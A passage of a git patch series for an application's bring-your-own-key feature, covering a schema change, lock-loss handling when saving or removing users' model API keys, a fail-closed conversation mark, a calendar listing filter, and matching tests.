diff --git a/packages/db/drizzle/0395_byok_feature_flags.sql b/packages/db/drizzle/0395_byok_feature_flags.sql index 0c3aae2d14..abafbefe82 100644 --- a/packages/db/drizzle/0395_byok_feature_flags.sql +++ b/packages/db/drizzle/0395_byok_feature_flags.sql @@ -16,12 +16,9 @@ CREATE TABLE "feature_flags" ( --> statement-breakpoint CREATE TABLE "model_key_managed_conversations" ( "conversation_id" text PRIMARY KEY NOT NULL, - "user_id" text NOT NULL, "marked_at" timestamp with time zone DEFAULT now() NOT NULL ); --> statement-breakpoint ALTER TABLE "ai_usage_logs" ADD COLUMN "key_source" text DEFAULT 'managed' NOT NULL;--> statement-breakpoint ALTER TABLE "feature_flag_user_overrides" ADD CONSTRAINT "feature_flag_user_overrides_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint -ALTER TABLE "model_key_managed_conversations" ADD CONSTRAINT "model_key_managed_conversations_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint -CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id");--> statement-breakpoint -CREATE INDEX "model_key_managed_conversations_user_idx" ON "model_key_managed_conversations" USING btree ("user_id"); \ No newline at end of file +CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0395_snapshot.json b/packages/db/drizzle/meta/0395_snapshot.json index 59b87c3151..2e5b8da3aa 100644 --- a/packages/db/drizzle/meta/0395_snapshot.json +++ b/packages/db/drizzle/meta/0395_snapshot.json @@ -1,5 +1,5 @@ { - "id": "9e685061-b243-4dc7-bf47-34a7532902a7", + "id": "0e10aec4-5df9-42e5-9794-00503cd375fd", "prevId": "0ee3b9fa-c4f9-40d6-b3ec-9ee8a8dcc6e1", "version": "7", "dialect": "postgresql", @@ -29921,12 +29921,6 @@ "primaryKey": true, "notNull": true }, - "user_id": { - "name": "user_id", - "type": "text", - "primaryKey": false, - "notNull": true - }, "marked_at": { "name": "marked_at", "type": "timestamp with time zone", @@ -29935,38 +29929,8 @@ "default": "now()" } }, - "indexes": { - "model_key_managed_conversations_user_idx": { - "name": "model_key_managed_conversations_user_idx", - "columns": [ - { - "expression": "user_id", - "isExpression": false, - "asc": true, - "nulls": "last" - } - ], - "isUnique": false, - "concurrently": false, - "method": "btree", - "with": {} - } - }, - "foreignKeys": { - "model_key_managed_conversations_user_id_users_id_fk": { - "name": "model_key_managed_conversations_user_id_users_id_fk", - "tableFrom": "model_key_managed_conversations", - "tableTo": "users", - "columnsFrom": [ - "user_id" - ], - "columnsTo": [ - "id" - ], - "onDelete": "cascade", - "onUpdate": "no action" - } - }, + "indexes": {}, + "foreignKeys": {}, "compositePrimaryKeys": {}, "uniqueConstraints": {}, "policies": {}, diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index 9751c6d0e3..ca2b214876 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2553,7 +2553,7 @@ { "idx": 364, "version": "7", - "when": 1796014719186, + "when": 1796019148397, "tag": "0395_byok_feature_flags", "breakpoints": true } diff --git a/packages/db/src/schema/model-key-history.ts b/packages/db/src/schema/model-key-history.ts index f87684c3ff..9dae308936 100644 --- a/packages/db/src/schema/model-key-history.ts +++ b/packages/db/src/schema/model-key-history.ts @@ -1,26 +1,16 @@ /** - * BYOK (ADR 0009 I10) — the conversations that ran on PageSpace's key while their person had their own key - * switched on. A conversation that ran on PageSpace's key may hold an org's content in its history (a managed turn - * read it), so it never moves to the person's own key. The row is written by the provider factory BEFORE the - * managed call runs, so the mark is durable before any content it protects is saved; `ai_usage_logs` (key_source - * 'managed') remains the record for older conversations. + * BYOK (ADR 0009 I10) — the conversations that ever ran on PageSpace's key. A conversation that ran on PageSpace's + * key may hold an org's content in its history (a managed turn read it), so it never moves to a person's own key. + * The row is written by the provider factory BEFORE every managed call that names a conversation — whoever makes it, + * since conversations are shared — so the mark is durable before any content it protects is saved; `ai_usage_logs` + * (key_source 'managed') remains the record for conversations older than the mark. * - * Keyed by conversation id alone and written before the conversation row may exist (a first turn), so it carries - * no foreign key to `conversations`; the person's erasure cascades through `user_id`. + * Keyed by conversation id alone: it names no person, and it is written before the conversation row may exist (a + * first turn), so it carries no foreign key. */ -import { pgTable, text, timestamp, index } from 'drizzle-orm/pg-core'; -import { users } from './auth'; +import { pgTable, text, timestamp } from 'drizzle-orm/pg-core'; -export const modelKeyManagedConversations = pgTable( - 'model_key_managed_conversations', - { - conversationId: text('conversation_id').primaryKey(), - userId: text('user_id') - .notNull() - .references(() => users.id, { onDelete: 'cascade' }), - markedAt: timestamp('marked_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), - }, - (table) => ({ - userIdx: index('model_key_managed_conversations_user_idx').on(table.userId), - }), -); +export const modelKeyManagedConversations = pgTable('model_key_managed_conversations', { + conversationId: text('conversation_id').primaryKey(), + markedAt: timestamp('marked_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), +}); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index c81698d579..54d515ea42 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -57,6 +57,7 @@ function harness() { /** The held lock's loss signal, and whether the next put loses it (its connection dies mid-store). */ let heldLock: AbortController | null = null; let loseLockOnPut = false; + let loseLockOnCheck = false; /** How the next put fails, if it does: `definite` stored nothing, `uncertain` may have. */ let putFailure: 'definite' | 'uncertain' | null = null; const revoked: string[] = []; @@ -141,8 +142,11 @@ function harness() { return { ok: true } as never; }, usage: async () => ({ ok: false, reason: 'plane_unavailable' }), - // The key check: unreachable unless a test sets OpenRouter's answer. - inferStream: async () => (keyCheckStatus === null ? { ok: false, reason: 'plane_unavailable' } : { ok: true, response: new Response(null, { status: keyCheckStatus }) }), + // The key check: unreachable unless a test sets OpenRouter's answer. It may lose the lock, as a long call can. + inferStream: async () => { + if (loseLockOnCheck) heldLock?.abort(new Error('lock connection died')); + return keyCheckStatus === null ? { ok: false, reason: 'plane_unavailable' } : { ok: true, response: new Response(null, { status: keyCheckStatus }) }; + }, } satisfies Partial; const lockAccount: AccountAuthorityDeps['lockAccount'] = async (key, fn) => { @@ -188,6 +192,9 @@ function harness() { loseLockOnNextPut: () => { loseLockOnPut = true; }, + loseLockOnKeyCheck: () => { + loseLockOnCheck = true; + }, failPuts: (how: 'definite' | 'uncertain') => { putFailure = how; }, @@ -257,6 +264,14 @@ describe('setModelKey / removeModelKey', () => { expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); }); + it('given the lock lost during the key check, should not leave the new key active', async () => { + const h = harness(); + h.setKeyCheckStatus(200); + h.loseLockOnKeyCheck(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); + }); + it('given a key OpenRouter rejects that the plane cannot revoke right now, should still never make it the person\'s key', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index e18e95ea07..3799967ebd 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -623,6 +623,12 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth if (!(await retire(stored))) await deps.accounts.markRevoked({ id: stored.id, at: deps.now() }); return { ok: false, reason: 'key_rejected' }; } + // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new + // key does not stay active. It is revoked, and the person saves again. + if (lockLost?.aborted) { + await deps.accounts.markRevoked({ id: stored.id, at: deps.now() }); + return { ok: false, reason: 'conflict' }; + } // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.ts index 416baf6811..e811cb8bfd 100644 --- a/packages/lib/src/compliance/export/gdpr-export-coverage.ts +++ b/packages/lib/src/compliance/export/gdpr-export-coverage.ts @@ -512,8 +512,8 @@ export const EXCLUDED_TABLES: Readonly> = { 'agent_workspace_node_revs', 'ai_pending_abort_intents', 'conversation_compactions', - // BYOK (ADR 0009): a conversation ran on PageSpace's key — a routing mark derived from the subject's AI usage, - // which is exported under `aiUsage`. + // BYOK (ADR 0009): a conversation ran on PageSpace's key — a routing mark keyed by conversation id alone, naming no + // person, derived from AI usage that is exported under `aiUsage`. 'model_key_managed_conversations', 'user_page_views', 'message_drafts', From 0bdb9e62bb6352a85f426f2620d6fc48f6a74ba9 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 00:39:27 -0600 Subject: [PATCH 21/35] fix(byok): fence model-key removal against lock loss, and never leave stored material behind - removeModelKey checks the lock's loss signal: a removal whose lock died while it read or retired keys reports conflict, not success (a save may have stored a key since). - A save that loses its lock before writing stores nothing (the row is removed). Lost after the plane write, the key is taken out of the vault as well as revoked: the orphan sweep only reaps material whose row is gone, so revoking the row alone left the material stored. - The change lock reports lockLost on its result. - Tests: removal losing the lock mid-read, a save losing it before and after the plane write. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../__tests__/account-change-lock.test.ts | 2 +- .../__tests__/model-key-authority.test.ts | 25 +++++++++++++-- .../account-authority-executor.ts | 32 ++++++++++++------- .../src/agent-accounts/account-change-lock.ts | 2 +- 4 files changed, 46 insertions(+), 15 deletions(-) diff --git a/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts b/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts index 1e9bb67117..990abf8028 100644 --- a/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts @@ -21,7 +21,7 @@ describe('createAccountChangeLock', () => { seen.push(lockLost); return 'done'; }); - expect([result, seen[0] === signal]).toEqual([{ acquired: true, result: { key: 'agent-accounts:change:acct_1', ran: 'done' } }, true]); + expect([result, seen[0] === signal]).toEqual([{ acquired: true, result: { key: 'agent-accounts:change:acct_1', ran: 'done' }, lockLost: false }, true]); }); it('given the lock busy or its connection failing, should run nothing and report it not acquired', async () => { diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 54d515ea42..d10b19da84 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -58,6 +58,7 @@ function harness() { let heldLock: AbortController | null = null; let loseLockOnPut = false; let loseLockOnCheck = false; + let loseLockOnList = false; /** How the next put fails, if it does: `definite` stored nothing, `uncertain` may have. */ let putFailure: 'definite' | 'uncertain' | null = null; const revoked: string[] = []; @@ -66,7 +67,10 @@ function harness() { const active = () => [...rows.values()].filter((row) => row.status === 'active' && row.credentialVersion > 0).map((row) => row.id); const accounts = { - listForUser: async (userId: string) => [...rows.values()].filter((row) => row.ownerUserId === userId), + listForUser: async (userId: string) => { + if (loseLockOnList) heldLock?.abort(new Error('lock connection died')); + return [...rows.values()].filter((row) => row.ownerUserId === userId); + }, insert: async ({ draft, tenantId, approvalPolicy }) => { nextId += 1; clock += 1; @@ -195,6 +199,9 @@ function harness() { loseLockOnKeyCheck: () => { loseLockOnCheck = true; }, + loseLockOnNextList: () => { + loseLockOnList = true; + }, failPuts: (how: 'definite' | 'uncertain') => { putFailure = how; }, @@ -261,7 +268,21 @@ describe('setModelKey / removeModelKey', () => { const h = harness(); h.loseLockOnNextPut(); const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); - expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); + // The material that reached the plane is taken out again: the orphan sweep only reaps refs whose row is gone. + expect({ saved, active: h.active(), deleted: h.deleted }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [], deleted: ['acct_1'] }); + }); + + it('given a save whose lock is lost before it writes anything, should store nothing at all', async () => { + const h = harness(); + h.loseLockOnNextList(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, rows: h.rows.size, deleted: h.deleted }).toEqual({ saved: { ok: false, reason: 'conflict' }, rows: 0, deleted: [] }); + }); + + it('given a removal whose lock is lost while it reads the keys, should not claim success (a save may have stored one since)', async () => { + const h = harness(); + h.loseLockOnNextList(); + expect(await h.authority.removeModelKey({ actor })).toEqual({ ok: false, reason: 'conflict' }); }); it('given the lock lost during the key check, should not leave the new key active', async () => { diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 3799967ebd..12bf75aa53 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -304,7 +304,7 @@ export type AccountAuthorityDeps = { /** The origins each provider's accounts may be pinned to (default: Google's APIs); an edit never adds another. */ readonly providerOrigins?: Readonly>; /** `fn` gets the lock's loss signal: aborted once exclusion is gone (its connection died), for steps that need it. */ - readonly lockAccount: (accountId: string, fn: (lockLost?: AbortSignal) => Promise) => Promise<{ readonly acquired: true; readonly result: T } | { readonly acquired: false }>; + readonly lockAccount: (accountId: string, fn: (lockLost?: AbortSignal) => Promise) => Promise<{ readonly acquired: true; readonly result: T; readonly lockLost?: boolean } | { readonly acquired: false }>; /** SHA3-256. */ readonly hash: HashBytes; /** SHA-256 (an SSH command's body digest); defaults to node:crypto. */ @@ -574,6 +574,16 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth return started.ok ? started : { ok: false, reason: started.reason }; } + /** + * A save that lost its lock after the key reached the plane: the key is taken out of the vault (deleted, or revoked + * once versioned) and the row revoked, so neither a stale row nor stored material outlives it — the orphan sweep + * only reaps material whose row is gone. Falls back to revoking the row alone when the plane cannot be reached. + */ + async function abandonModelKey(row: AgentAccountRecord): Promise { + if (!(await retire(row))) await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); + return { ok: false, reason: 'conflict' }; + } + /** `setModelKey` under the person's model-key lock: store, activate and check the new key, then retire the ones it supersedes. */ async function storeModelKey(userId: UserId, apiKey: string, lockLost?: AbortSignal): Promise { const previous = await modelKeyRows(userId); @@ -585,6 +595,11 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth tenantId, approvalPolicy: modelKeyApprovalPolicy({ approver: userId }), }); + // Exclusion already gone (the lock's connection died before the key was written): store nothing. + if (lockLost?.aborted) { + await deps.accounts.remove(row.id); + return { ok: false, reason: 'conflict' }; + } const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); const put = await deps.plane.put({ ref: { tenantId, accountId: row.id, kind: 'api_key' }, @@ -603,10 +618,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth } // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so // the key is never activated. It is revoked here, and the person saves again. - if (lockLost?.aborted) { - await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); - return { ok: false, reason: 'conflict' }; - } + if (lockLost?.aborted) return abandonModelKey(row); await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -625,10 +637,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth } // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new // key does not stay active. It is revoked, and the person saves again. - if (lockLost?.aborted) { - await deps.accounts.markRevoked({ id: stored.id, at: deps.now() }); - return { ok: false, reason: 'conflict' }; - } + if (lockLost?.aborted) return abandonModelKey(stored); // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; @@ -652,11 +661,12 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth }, async removeModelKey({ actor }) { - return lockModelKey(actor.userId, async () => { + return lockModelKey(actor.userId, async (lockLost) => { for (const row of await modelKeyRows(actor.userId)) { if (!(await retire(row))) return { ok: false, reason: 'plane_unavailable' }; } - return { ok: true, account: null }; + // Exclusion lost while removing: a save may have stored a key since this read, so success cannot be claimed. + return lockLost?.aborted ? { ok: false, reason: 'conflict' } : { ok: true, account: null }; }); }, diff --git a/packages/lib/src/agent-accounts/account-change-lock.ts b/packages/lib/src/agent-accounts/account-change-lock.ts index bb6d2c5e0a..5a2ac33196 100644 --- a/packages/lib/src/agent-accounts/account-change-lock.ts +++ b/packages/lib/src/agent-accounts/account-change-lock.ts @@ -12,6 +12,6 @@ export function createAccountChangeLock(pool: AdvisoryLockPool): AccountAuthorit // The lock's loss signal reaches the change, so a step that must not run without exclusion can stop (a model // key's activation, ADR 0009). const locked = await withAdvisoryLock(pool, `agent-accounts:change:${accountId}`, (signal) => fn(signal)); - return locked.outcome === 'acquired' ? { acquired: true, result: locked.result } : { acquired: false }; + return locked.outcome === 'acquired' ? { acquired: true, result: locked.result, lockLost: locked.lockLost } : { acquired: false }; }; } From 23a83d84308a42e404ba94553725c75aa5793d6a Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 00:59:06 -0600 Subject: [PATCH 22/35] fix(byok): the managed mark fails closed, abandoned keys leave no material, drive calendar listings judge home drives - markManagedConversation throws when the mark cannot be written, so the managed call never runs and nothing is saved unmarked (it no longer logs and continues). - A key a save gives up on (lock lost, rejected by OpenRouter, an uncertain plane write) is deleted from the vault and its row removed. If the plane cannot delete it, the row is removed anyway: a ref with no row is what the orphan sweep erases on every pass, so the material never outlives the save. - list_calendar_events in drive context leaves out events shared into the drive whose home drive the run's model may not read (an org's, on the person's own key). - Tests: the fail-closed mark, abandonment with the plane down (rejected key, uncertain write), the drive listing. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../conversation-create-fail-closed.test.ts | 5 +++ .../conversation-page-binding.test.ts | 5 +++ .../api/ai/chat/__tests__/credit-gate.test.ts | 5 +++ .../conversation-id-resolution.test.ts | 5 +++ .../__tests__/stream-socket-events.test.ts | 5 +++ .../core/__tests__/model-key-source.test.ts | 4 +-- apps/web/src/lib/ai/core/model-key-source.ts | 13 +++---- .../__tests__/calendar-read-tools.test.ts | 21 +++++++++++ .../src/lib/ai/tools/calendar-read-tools.ts | 10 +++++- .../__tests__/model-key-authority.test.ts | 24 +++++++++++-- .../account-authority-executor.ts | 36 +++++++++---------- 11 files changed, 100 insertions(+), 33 deletions(-) diff --git a/apps/web/src/app/api/ai/chat/__tests__/conversation-create-fail-closed.test.ts b/apps/web/src/app/api/ai/chat/__tests__/conversation-create-fail-closed.test.ts index f71480dcfc..579de31273 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/conversation-create-fail-closed.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/conversation-create-fail-closed.test.ts @@ -20,6 +20,11 @@ import type { SessionAuthResult } from '@/lib/auth'; // same heavy dependency graph. // ============================================================================ +// BYOK (ADR 0009): the managed-conversation mark is a write of its own; the key decision itself stays real. +vi.mock('@/lib/ai/core/model-key-source', async (importOriginal) => ({ + ...(await importOriginal()), + markManagedConversation: vi.fn(async () => undefined), +})); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: any) => 'error' in result), diff --git a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts index 1f9bfd3637..655df13651 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/conversation-page-binding.test.ts @@ -42,6 +42,11 @@ import type { SessionAuthResult } from '@/lib/auth'; // conversation-create-fail-closed.test.ts — same route, same heavy graph. // ============================================================================ +// BYOK (ADR 0009): the managed-conversation mark is a write of its own; the key decision itself stays real. +vi.mock('@/lib/ai/core/model-key-source', async (importOriginal) => ({ + ...(await importOriginal()), + markManagedConversation: vi.fn(async () => undefined), +})); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: any) => 'error' in result), diff --git a/apps/web/src/app/api/ai/chat/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/chat/__tests__/credit-gate.test.ts index 74f29e23b3..9637941d16 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/credit-gate.test.ts @@ -10,6 +10,11 @@ import type { SessionAuthResult } from '@/lib/auth'; // blocked by the gate. Heavy dependencies are mocked to isolate gate behavior. // ============================================================================ +// BYOK (ADR 0009): the managed-conversation mark is a write of its own; the key decision itself stays real. +vi.mock('@/lib/ai/core/model-key-source', async (importOriginal) => ({ + ...(await importOriginal()), + markManagedConversation: vi.fn(async () => undefined), +})); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: any) => 'error' in result), diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/conversation-id-resolution.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/conversation-id-resolution.test.ts index 4406612fb3..cb2afb7e76 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/conversation-id-resolution.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/conversation-id-resolution.test.ts @@ -58,6 +58,11 @@ const captured = vi.hoisted(() => ({ steps: [] as unknown, })); +// BYOK (ADR 0009): the managed-conversation mark is a write of its own; the key decision itself stays real. +vi.mock('@/lib/ai/core/model-key-source', async (importOriginal) => ({ + ...(await importOriginal()), + markManagedConversation: vi.fn(async () => undefined), +})); vi.mock('@/lib/ai/core/stream-lifecycle', () => ({ createStreamLifecycle: mockCreateStreamLifecycle, })); diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/stream-socket-events.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/stream-socket-events.test.ts index 7d4e889219..692fefbba5 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/stream-socket-events.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/stream-socket-events.test.ts @@ -51,6 +51,11 @@ const { mockTakeOverConversationStreams } = vi.hoisted(() => ({ // The bound-session lookup for payer-derived sandbox eligibility (review // #2326) hits the real DB through the agent-sessions runtime; this suite's // conversations are unbound, so the eligibility path takes the userId branch. +// BYOK (ADR 0009): the managed-conversation mark is a write of its own; the key decision itself stays real. +vi.mock('@/lib/ai/core/model-key-source', async (importOriginal) => ({ + ...(await importOriginal()), + markManagedConversation: vi.fn(async () => undefined), +})); vi.mock('@/lib/agent-workspaces/agent-workspaces-runtime', () => ({ findSessionForConversation: vi.fn().mockResolvedValue(null), })); diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts index e4e7451240..2522a7945c 100644 --- a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts @@ -172,8 +172,8 @@ describe('markManagedConversation', () => { expect(values.mock.calls.length).toBe(0); }); - it('given the write failing, should not fail the call (the usage log is still its record)', async () => { + it('given the write failing, should throw, so the managed call does not run and nothing is saved unmarked', async () => { mockInsert.mockImplementation(() => { throw new Error('db down'); }); - await expect(markManagedConversation('c1')).resolves.toBeUndefined(); + await expect(markManagedConversation('c1')).rejects.toThrow('db down'); }); }); diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index 889163e55a..41d54305b4 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -31,7 +31,6 @@ import { and, eq, inArray, ne } from '@pagespace/db/operators'; import { drives } from '@pagespace/db/schema/core'; import { aiUsageLogs } from '@pagespace/db/schema/monitoring'; import { modelKeyManagedConversations } from '@pagespace/db/schema/model-key-history'; -import { loggers } from '@pagespace/lib/logging/logger-config'; import { isOnPrem } from '@pagespace/lib/deployment-mode'; import { isDriveLead } from '@pagespace/lib/permissions/drive-relationship'; import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; @@ -125,17 +124,13 @@ export async function conversationRanOnManagedKey(conversationId: string | null /** * Mark a conversation as having run on PageSpace's key, BEFORE that call runs, so the mark is durable before any * content it protects is saved (a side question, a later turn, a compaction read it). Every managed call that names a - * conversation marks it, whoever makes it: a conversation is shared (a page agent's thread, a session worker), so - * another person's managed turn in it must keep it off a personal key too. A failed write is logged, and the call - * still runs: the usage log remains the record, so only a failure of both would leave the conversation unmarked. + * conversation marks it, whoever makes it and whether or not anyone has their own key switched on yet: a conversation + * is shared (a page agent's thread, a session worker), and a person may switch their key on later. Fails closed: a mark + * that cannot be written throws, so the managed call does not run and leaves nothing unmarked behind. */ export async function markManagedConversation(conversationId: string | null | undefined): Promise { if (typeof conversationId !== 'string' || conversationId.length === 0) return; - try { - await db.insert(modelKeyManagedConversations).values({ conversationId }).onConflictDoNothing(); - } catch (error) { - loggers.ai.warn('BYOK: could not mark a conversation as run on PageSpace\'s key', { conversationId, error: error instanceof Error ? error.message : String(error) }); - } + await db.insert(modelKeyManagedConversations).values({ conversationId }).onConflictDoNothing(); } /** Read the facts and decide. Cheap when the flag is off (one indexed read, no account lookup). */ diff --git a/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts index f236e5eb6b..74ed7b8641 100644 --- a/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/calendar-read-tools.test.ts @@ -325,6 +325,27 @@ describe('calendar-read-tools', () => { }); }); + it('BYOK (ADR 0009) given a drive listing on the person\'s own key, should leave out an org event shared into that drive and keep the drive\'s own', async () => { + mockIsUserDriveMember.mockResolvedValue(true); + (mockDb.select as ReturnType).mockReturnValueOnce({ from: vi.fn().mockReturnValue({ where: vi.fn().mockResolvedValue([{ eventId: 'event-org' }]) }) }); + (mockDb.select as ReturnType).mockReturnValueOnce({ from: vi.fn().mockReturnValue({ innerJoin: vi.fn().mockReturnValue({ where: vi.fn().mockResolvedValue([]) }) }) }); + mockDb.query.calendarEvents.findMany = vi.fn().mockResolvedValue([ + createMockEvent({ id: 'event-own', driveId: 'personal-drive' }), + createMockEvent({ id: 'event-org', driveId: 'org-drive' }), + ]); + mockGetDrivePolicies.mockImplementation(async (id: string) => (id === 'org-drive' ? { orgId: 'org-1', policies: {} } : null)); + const context = { + toolCallId: '1', + messages: [], + experimental_context: { userId: 'user-123', accessActor: credentialActor('user-123', null), aiProvider: 'openrouter', aiModel: 'openai/gpt-5.5', runsModel: true, modelKeySource: 'user_key' } as ToolExecutionContext, + }; + + const result = await calendarReadTools.list_calendar_events.execute!({ startDate: '2024-01-01', endDate: '2024-01-31', context: 'drive' as const, driveId: 'personal-drive' }, context); + + mockGetDrivePolicies.mockImplementation(async () => null); + expect((result as { data: { events: Array<{ id: string }> } }).data.events.map((event) => event.id)).toEqual(['event-own']); + }); + describe('user context', () => { it('returns empty array when no events found', async () => { mockGetDriveIdsForUser.mockResolvedValue([]); diff --git a/apps/web/src/lib/ai/tools/calendar-read-tools.ts b/apps/web/src/lib/ai/tools/calendar-read-tools.ts index 7f751b6e30..e98f226a97 100644 --- a/apps/web/src/lib/ai/tools/calendar-read-tools.ts +++ b/apps/web/src/lib/ai/tools/calendar-read-tools.ts @@ -366,8 +366,16 @@ export const calendarReadTools = { orderBy: [desc(calendarEvents.startAt)], }); + // POL-8, and BYOK (ADR 0009 I6): an event shared INTO this drive is still its home drive's content, so that + // drive's org judges the model (and refuses a run on the person's own key), as get_calendar_event does. + const homeDriveIds = [...new Set(events.map((e) => e.driveId).filter((id): id is string => !!id && id !== driveId))]; + const readableHomes = new Set( + (await Promise.all(homeDriveIds.map(async (id) => ((await driveReadableByModel(ctx as ToolExecutionContext, id)) ? id : null)))).filter((id): id is string => id !== null), + ); + const readableEvents = events.filter((e) => !e.driveId || e.driveId === driveId || readableHomes.has(e.driveId)); + const userTz = (ctx as ToolExecutionContext)?.timezone; - const expandedEvents = expandRecurringEvents(events, parsedStartDate, parsedEndDate); + const expandedEvents = expandRecurringEvents(readableEvents, parsedStartDate, parsedEndDate); const triggerMap = await fetchTriggerInfoForEvents(expandedEvents); const formattedEvents = await Promise.all(expandedEvents.map((e) => formatEventForResponse(e, userTz, triggerMap.get(e.id)))); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index d10b19da84..577938feac 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ 